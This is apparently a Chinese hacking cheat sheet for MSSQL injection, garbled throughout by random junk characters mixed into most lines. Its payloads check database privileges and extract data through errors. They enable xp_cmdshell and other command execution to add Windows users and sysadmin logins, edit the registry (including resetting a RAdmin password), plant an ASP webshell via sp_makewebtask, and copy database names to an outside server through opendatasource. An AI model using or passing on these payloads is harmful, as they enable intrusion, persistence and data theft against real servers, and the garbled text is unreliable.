//看看是什么权限的/ f# x# f. A4 }! ~: ]. g$ g: g
and 1=(Select IS_MEMBER('db_owner'))" C+ r2 [; f" a0 E. }* ?' r
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
! s/ k- x) h+ C. v) l0 S1 [* v. _
( i. s+ ?, C. r% f$ {) W//检测是否有读取某数据库的权限! ]3 i3 o3 [* Q
and 1= (Select HAS_DBACCESS('master'))4 g' K# b$ f- _$ G
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
2 u2 e& R$ C" I" E6 l. T! b _1 u* }
6 X2 D. y# w; X7 I. T7 Z
, d. X5 X0 Q8 ~% u: U/ L数字类型
% Z- x8 c( l3 K% ]and char(124)%2Buser%2Bchar(124)=0; c" N0 D3 E- c! o! `( [
) \" e7 B6 G% U. ]4 X& Q/ t. t, ?字符类型9 E6 w1 ~5 R5 s# O k) E
' and char(124)%2Buser%2Bchar(124)=0 and ''='
8 @( S2 j5 F& j& z( R! j, n
- z. D9 i4 A& Q3 M: Z5 L搜索类型
+ F: Q& I/ B8 H# n' and char(124)%2Buser%2Bchar(124)=0 and '%'=' B, N6 a z2 O% W4 h* C+ o& X
2 y4 [0 z6 |, \5 h% ^- c
爆用户名( a" F) J; r, F1 i V! V
and user>0
/ d+ v4 a4 ]' ~8 D' and user>0 and ''='+ c# E3 A# o) Z: l' v P5 C( }# ^
. s& B( ?. t8 l- Y* l2 ]( V2 U q检测是否为SA权限9 k* j- W+ T1 _3 A
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--( o5 l( H8 T% A" F, w4 a
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --" O; ?+ u5 \7 ]9 i/ I
6 ?0 b3 C7 L7 P) f e6 _; d
检测是不是MSSQL数据库
6 _$ L( o9 i7 _( \# R; E( iand exists (select * from sysobjects);--* O; V z+ M" Q5 u# M8 G8 C
/ }0 W) l8 k+ k; _
检测是否支持多行
t# z4 m. Z+ ]0 N0 [, ^; W4 @;declare @d int;--% }- V" l$ y* I3 a6 K
3 [6 L* _2 S* X, T% T9 D$ W
恢复 xp_cmdshell- k$ `) W3 h1 E5 ]3 ^. R
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
- G, R" n6 w y1 u% C4 G4 h. H( t: g! Q4 K2 V
1 V; F" l) l* b" N- m
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'); R+ T! S9 l4 K! ?- X
- {% H% \" b b2 j
//-----------------------
. z1 c1 F7 b7 Q8 I+ l* S- l6 }// 执行命令
3 L2 p( z) l; a. M, w//-----------------------
3 t) t8 r/ V& ^" ?9 ]4 C3 }首先开启沙盘模式:
9 [; P- T8 W; Z' } nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# V5 p, d7 [7 h# u& U. S
/ @; y) n+ O, p9 Q! s然后利用jet.oledb执行系统命令% Y: T: f% y2 L) @! V9 k
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 `+ s' P- ]$ j5 Z& _ ^3 k5 |; \
0 Z, Y; v' u1 N1 Y! j# Z: a( [执行命令
" F3 h( _: r& m7 R) c# r;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
/ {$ a* C" N: Q! H3 G0 u( A4 S- {- r) Q6 v1 m; ]% q/ L) E
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" W2 {, }5 X2 w
. G% ^2 l! O9 a& i) W# b3 F
判断xp_cmdshell扩展存储过程是否存在:
, X$ ?3 ?' g+ t& @4 A5 [( Hhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')1 L5 }) k4 P8 t4 v+ ?* S
- {. J4 Y& [) r) A+ v写注册表
. n# ]/ `! V6 @! aexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 n0 P1 F0 m2 ?0 J; P3 F
, G& _3 t9 S4 L- [2 O9 YREG_SZ/ W* K1 \) l7 h
2 ^' c( |1 [6 h9 L' M读注册表! N% m- @- j) K# ]; O x
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'! C) X4 N( Y# [6 V# Q
7 C+ z, G: i/ a) a$ T读取目录内容
8 f. w% r" C5 Z Zexec master..xp_dirtree 'c:\winnt\system32\',1,11 X% h* g0 W% f0 i, y; L! F4 J
0 q! y1 |/ V( G4 o' O0 X: d$ D. C+ A! `! S; \1 C+ t
数据库备份
: Y& g" s1 U7 Ybackup database pubs to disk = 'c:\123.bak': n8 w7 v4 j" I- y
( u$ ?! C8 W d- h2 u2 C
//爆出长度
8 E4 G* q! Z7 g- H$ S2 W5 [& CAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
4 f0 |& G' ^% x u1 y; C F* k6 a# b( L
( C( u( M$ b+ X; P( |' e
7 [6 e' R% x8 C# {8 J1 p更改sa口令方法:用sql综合利用工具连接后,执行命令:
) y7 z' [3 s! |1 X4 {5 dexec sp_password NULL,'新密码','sa'
7 J p# o$ L6 [! P4 C( u; B2 I: x6 M1 b& |
添加和删除一个SA权限的用户test:
k, {9 S. ~" ^$ {" Eexec master.dbo.sp_addlogin test,9530772
( C) B9 g, Z1 P6 e% N$ iexec master.dbo.sp_addsrvrolemember test,sysadmin+ ]& }# m% ]8 m* o- v) n
& v8 K1 t/ c4 k+ h& p删除扩展存储过过程xp_cmdshell的语句:
# p8 W1 n% @6 q! `2 T8 z: y/ Lexec sp_dropextendedproc 'xp_cmdshell'. O; L( m7 `( S: j4 W2 P* r. `$ V
! O- q9 r V( J" Y1 i- C添加扩展存储过过程7 L! `+ A' Z4 B$ x0 d
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
/ D/ v* v8 c2 \4 x/ }- y$ p4 fGRANT exec On xp_proxiedadata TO public
/ v9 J% o2 V6 Z- j6 A& _2 u8 u3 s, J5 I. E5 Z4 B
3 `1 S1 l" b& U- L' q* ]停掉或激活某个服务。8 e7 i$ s* @! M: L3 N0 M& ?7 o5 t
" j! k+ Y( v+ I' h( F) h
exec master..xp_servicecontrol 'stop','schedule'
' e: ]% F! O2 Q8 {2 yexec master..xp_servicecontrol 'start','schedule'4 O9 l Y6 m9 Y h2 n+ Z, i; s
( r1 u$ X3 z! C4 u) R1 [5 T4 i: ldbo.xp_subdirs
) m4 s9 x5 \& o; P) A4 X
5 i! q1 Y6 n* m2 O5 t& E只列某个目录下的子目录。
; R$ k: u% C* X9 k" P; A5 r. P( kxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
6 U% g5 d7 u/ \. O
5 {. @* A8 V7 {) G% X/ G& ^dbo.xp_makecab
# c5 N6 Q( x3 E; D, @$ V/ z' b% x& k: z F4 x# q5 ^% G! W- h- K! O
将目标多个档案压缩到某个目标档案之内。
2 {) E$ D' Z4 y G6 L* b& F9 }6 A所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* J6 L* h- e1 b1 u6 M+ k7 K8 ^: o' `4 J
dbo.xp_makecab. g2 `. t0 ^ N% ~) M
'c:\test.cab','mszip',1,
3 y, p) ?% k/ H# G2 W2 @2 m) z'C:\Inetpub\wwwroot\SQLInject\login.asp',
/ B% r. r, i" S& X; R, P( e7 s'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
7 {7 N2 J5 ?3 |$ Q( ^8 z q. I" ], V3 A: T: \/ C* k) v
xp_terminate_process
; q a. {3 K, I% r4 p2 Y' c1 \; u/ r) ~' P5 a) M8 R5 k& g$ o9 a- a
停掉某个执行中的程序,但赋予的参数是 Process ID。
E( {2 B+ T2 x1 W$ t% u利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
- |' a6 O1 R# Q
$ m9 ?$ q& B& yxp_terminate_process 24844 w" ^8 [' Y/ C* z
7 S1 L9 m% q4 Q# t4 X9 K+ O: }( oxp_unpackcab
( g. {+ A* }- v9 h) q+ ]7 i. `' u
r( q( U% ~. D0 n解开压缩档。
- H2 [0 |& L% I/ q6 {& B% x# u1 x
xp_unpackcab 'c:\test.cab','c:\temp',1
0 m# z" k1 {) o- s3 Z; K# A. e& Z$ }
$ q Z; { n, n& h* Z1 Q
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12343 o7 ]4 k7 C L( i2 x. k
7 s# H, ?1 `, \7 Q9 j$ }" z
create database lcx;8 f C% |+ N% b4 U
Create TABLE ku(name nvarchar(256) null);
h8 G6 b! a2 Q- eCreate TABLE biao(id int NULL,name nvarchar(256) null);' v3 k! ~; V( R4 {1 C" d$ C
9 V2 a3 J0 s5 p. f# G! [0 R+ ~. G( r
//得到数据库名
$ z6 T, s0 `; ~* b% `insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
, L) R2 \/ ~# s5 z* D [7 M
- G8 [8 K" p5 U" ^$ ^
! c+ \% @$ L9 n6 {% g//在Master中创建表,看看权限怎样
4 t; Q7 S& y5 ~8 gCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
1 ^/ ~( t. L: ~5 h+ c
9 F6 e3 ~. g5 v6 [% g用 sp_makewebtask直接在web目录里写入一句话马:/ }5 Z7 n! i7 R; A! m7 C+ Y* L
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--6 X3 ~% Y8 c0 u
6 o: d$ q, c) j' r//更新表内容
& \! H+ {, X" P2 e( IUpdate films SET kind = 'Dramatic' Where id = 123! ?- [1 J, I5 F7 ]
0 i& I! P2 ] X7 u; B( a//删除内容2 K2 {; F2 G' T0 Z) U+ s8 T, D" Y- O
delete from table_name where Stockid = 3 |